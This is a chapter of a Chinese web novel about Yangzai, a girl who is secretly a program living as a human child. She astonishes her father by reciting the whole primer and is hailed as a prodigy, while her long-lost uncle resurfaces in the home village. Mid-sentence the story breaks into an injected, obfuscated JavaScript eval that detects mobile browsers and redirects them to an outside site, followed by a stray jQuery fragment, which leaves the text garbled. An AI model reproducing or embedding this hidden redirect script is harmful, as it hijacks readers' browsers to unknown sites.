15. 考考我
作品:《扮演人类幼崽的一天》 陆山回家时阳崽正在写字,这会儿天色晚了,兰婆还给她点了烛火。
她跪伏在吃饭的桌子上,紧紧皱着眉头,像是遇到了天大的困难。
看着女儿那个姿势,陆山意识到得给阳崽买张书桌,像书塾那种的就很好,适合幼童。
他背着手溜达过去瞄了一眼,嘶,这个字。
丑,奇丑无比。
陆山轻咳两声,变戏法似的掏出两块饴糖。
阳崽抬头,“阿爹,你回来了。”
“今日在书塾开心吗?”
“不太开心。”阳崽一想到做人类幼崽那么艰难,在书塾里那么难熬,就觉得自己的代码都运行缓慢了。
“唉!”她叹了口气,把饴糖塞进嘴里,“先生用棍子给我的手心挠痒痒。”
“什么?”陆山表情惊愕。
不是,他怎么有点儿听不懂呢?
“你仔细说说。”
“就是先生问我为什么上课不跟读,我想着你说不要瞎说大实话,本来不想说的,但是先生让我大胆说。”
阳崽“咯吱咯吱”地把糖咬碎了吞下去,才又说道,“我就说他讲的课不好,跟读没有用,还有竹简和毛笔也很不好用。先生就让我伸手,然后用棍子给我的手心挠痒痒。”
“......”
陆山不知道说啥,这个描述,他眼神微妙地让阳崽把手拿出来给他看看。
很好,没红没肿,果然是在挠痒痒吧。
他实在忍不住了,让阳崽认真写字,自己闷头笑了半天。
“阿爹。”阳崽疑惑出声,“你得了哮喘吗?”
都“噗嗤”半天了,感觉喉咙里有一只鸭子在叫。
陆山的笑声戛然而止,他忍不住摸摸阳崽的头,怜爱道,“阳崽啊,好好学习吧。”
不然再大一点儿,估计塾师就不会给她挠痒痒了,那得是真正的竹笋炒肉。
说到学习,阳崽想起自己的计划,她拉拉陆山的衣袖,“阿爹,你有钱吗?”
“我们家虽不是大富大贵,但养你这只小猪还是没问题的!”
陆山轻轻点了点女儿的鼻子,把她抱起来坐在腿上,“怎么了,你问这个做什么?”
阳崽心里叹气,陆山不穷啊,那要怎么才可以不用去书塾呢,她紧急在数据库里搜索。
装病?
这个不行,郑医师经常给她看病,况且她都有一个傻子病了还是要去书塾。
受伤?
不行不行,万一组装她身体的材质跟人类不一样呢?那不就暴露身份了吗?
逃学?
这个可以有,先记下来,可以后面实验。
跟家长摊牌,说明自己不想去的原因?
这个现在就可以做!
阳崽眼睛亮了一下,她试探道,“阿爹,我可以不去书塾了吗?”
“为什么?是因为今天被先生批评了吗?”
“不是的,我觉得去书塾没有用,很无聊。”
陆山正视起来,这是厌学了呀!
他循循善诱,“阳崽,多读书才能明理,除了家里很穷的,每个幼童都要去书塾,学会认字算术,以后才能不被人骗。”
“那要在书塾学多久啊。”阳崽低落地问。
“嗯,这个嘛,我想想。”陆山思考了一下,“至少你要学会小学阶段全部的常用字才行,你们现在才学到《急就篇》,还早着呢。”
大凌朝的教育分小学和大学,小学阶段一般持续到15岁左右,虽然各个书塾也收女学生,但她们一般到十一二岁就不会去书塾了。
贵族女子们这个时候要学习女工,虽然闲暇时她们也可以读书,但总归是以妇业为重的。
平民女子更可怜一点,都是几岁开始就跟着大人操持家务,学字那是兄弟们才会做的事。有些疼女儿的人家,也往往在女孩儿们认识些常用字,会简单的算术,便不再来书塾了。
阳崽还算幸运,她有一个不那么古板又疼爱她的老爹,甚至可以在她说出不去书塾的话后仔细劝说她。
这会儿她的老爹正不顾外面天色,兴致勃勃地抱起她出去,“走,去看我新买的驴子,以后家中可以用它来磨面,你可以给它取个名字。”
阳崽这会儿可没心情看驴子,她好像发现不用去书塾的新方法,于是她激动地喊道,“阿爹阿爹,我已经认识所有字了,我是不是可以不用去书塾啦!”
“吹牛吧!”陆山不信,他指着低头吃草的驴子,“阳崽你看它的睫毛是怎么样的?”
“是真的!不信你考我,每个字我都认识,我背给你听!”
阳崽拉着陆山的衣服,急得当场就开始背,“急就奇觚与众异,罗列诸物名姓字......稻黍秫稷粟麻秔,饼饵麦饭甘豆羹......”
陆山刚开始还一边逗驴,一边含笑听着阳崽一句句背,直到阳崽背到“文学法理”篇时,他终于严肃起来。
书塾不可能教到这儿,这才刚开始学呢!
“你看,我全都背完了。”阳崽挣扎着从陆山怀里下来,跑回屋子“哼哧哼哧”搬来竹简,发现天色太暗有些看不清,又跑了一趟小心拿了个烛台,“现在你考我,我每个字都会认!”
“这个念什么?”陆山接过烛台,指着一个很复杂的字问道。
“鍪,是一种锅或者胄。”
父女二人就着烛台微弱的光,把竹简放在地上,一问一答。
“这个呢?”
“年,一年两年的年。”
......
“这个呢?”
“秀,王秀秀的秀。”
陆山顿住了,阳崽正仰着脸看着他。
陆山有些恍惚地看着这张熟悉的小脸,跟她母亲一个模子刻出来的眉眼,他低低笑了起来。
是了,秀秀是个聪明人啊,她的女儿,前日原先生才说了是个奇童啊!
“哈哈哈哈哈好!”陆山提起阳崽转圈,“我们阳崽是个奇童啊!哈哈哈哈哈......”
“那我明天可以不去书塾了吗?”阳崽充满期待地问。
“我先去找原先生,对对对,你现在是奇童了,得去找原先生。”
陆山无头苍蝇地转了几圈,竟然不管宵禁直接跑了出去。
钟扁头跟在后面小声喊了两声“校尉”,陆山理都没理,直接就跑了,把钟扁头急地只跺脚。
阳崽美滋滋地进屋去了,她豪迈地把一桌子写的竹简扔到一边,又把毛笔丢了。翻出陆山给的另一块饴糖用嘴包住。
明天,她就不用上学啦!
院子里,烛台的火光把旁边驴子的身影拉得老长。
它打了个响鼻,“哦咿哦咿”叫了几声,像是在为阳崽庆祝。
......
陆山最后是翻墙回来的,他一激动直接跑到原家,把原家门房吓了个半死。
原胥还以为有急事呢,结果听陆山炫耀了一波女儿。
“的确,昭明是是个奇童啊,再跟幼童们一起启蒙是不大好,浪费天赋了,难怪她觉着无聊呢。”
“这样,陆山,明日去了书塾,我约几个塾师一起考校一下,看昭明掌握到哪个程度了,届时再看她去哪个班合适。”
“多谢原先生为小女思虑周全。”陆山深深行礼,他都没想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292105|182125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到这一出,只觉得高兴来着。
“奇童啊。”原胥摇着头回屋,又心喜又遗憾。
若是男子,可以入太学,可以举孝廉茂才入仕,以后为官了,可以用才学造福一方。
......
楚州,陆家村。
陆老根正巡完橘子林,今年收成不错,树上还有一批,这些橘子保存期长,摘下可以往北边运。
前些日子他托商队送了一些给平洲的老二,也不知道今年过年老二回家不。
“陆老根,回家去啊?”坐在田埂上歇息的老农招呼道。
“是嘞。”
陆老根穿过窄窄的田埂,就看到一个高大的汉子朝他家走去。
他眯起眼睛细细打量,这么好的衣服料子,陆家村谁穿得起啊!
陆老根急忙快步回家,刚走到门口,就听到里面老妻的声音,“来就来嘛,还带什么东西哟!”
“谁来啦!”他急忙推开门。
“老头子,你看谁来了!”陆老太笑呵呵的,脸上的褶子都舒展了一些,“傻子的舅舅来了,还带恁多东西,真是客气哦。”
“胡说什么!”陆老根呵斥一声,“什么傻子,人家正正经经有名儿!”
“他大舅哥,别放心上,你婶子没读过书。走,我们进屋去说。”
“唉,没事的,叔,阳崽那样。”王顺叹了口气,把未尽之言吞回去,“我就是来问问山子在平洲哪儿啊,阳崽是我妹子唯一的孩子,我过些日子正好也要去平洲,做舅舅的,总是要去看看她。”
陆老根心头一惊,“这是发达了呀,他舅舅!”
“上次你们喝完酒,你一直没回家,山子还担心你呢,说怕是你醉醺醺的掉河里了,喊了好些人顺着河道找了好几天。”
“我就说他是瞎操心,哪儿有那么背的事,你说是吧?”
“诶,可不就那么背吗?”王顺摇头摇头,又喝了口茶,才说道,“我被水冲到临安镇去啦,幸好有个小娘子救了我的命。”
他细细道来这几个月的事,“我做了那小娘子家的上门女婿,如今岳父要去平洲任职,我想着山子也在平洲啊。这去陌生地界,咱们两家正好走动走动,过年过节也有点儿热闹。”
“切,装模作样!”陆老太在院子里翻了个白眼,傻子傻子的都叫了好几年了,这会儿儿子稀罕,就要改口啦,她偏不改!
那王秀秀就是个狐狸精,勾着她儿子给别人养孩子呢!
也就老二那个傻子信,古往今来,哪个孕妇早产出六个月足斤足两的孩子哟!
“阿奶,要做肉吗?”陆来娣眼睛亮晶晶的,她刚看见那个傻子的舅舅带了肉来。
“你一天天只晓得吃肉!”陆老太一巴掌拍过去,沉着脸往东厨走,看了眼捂着脸要哭不哭的孙女,她又骂道,“丧门星的,还不进来烧火,杵在那儿当门神呢!”
送走王顺,陆老根立马吩咐大儿子陆江给老二写信,这人还真是醉酒落了水,让老二说中了!
陆老根撇撇嘴,真是命大啊,顺着水飘了一天,居然还被人救了。
说什么为了报恩留下来当上门女婿,八成是看人家小姐条件好,不知使了什么法子赖上的。
不过这样也好,王顺的岳家有本事,老二呆瓜楞子一个人在平洲,有这样一层关系,那杜郡守怎么着也得提携提携吧。
那边王顺哼着小曲,刚打开自家在村子里的家门,就被后面一只手捂住嘴,狠狠推进去按在地上。
“不要叫,顺子,听说你发达了呀,傍上个千金小姐!”
身后的人声音沉沉,“可不要忘了和兄弟们一起干的事业啊。”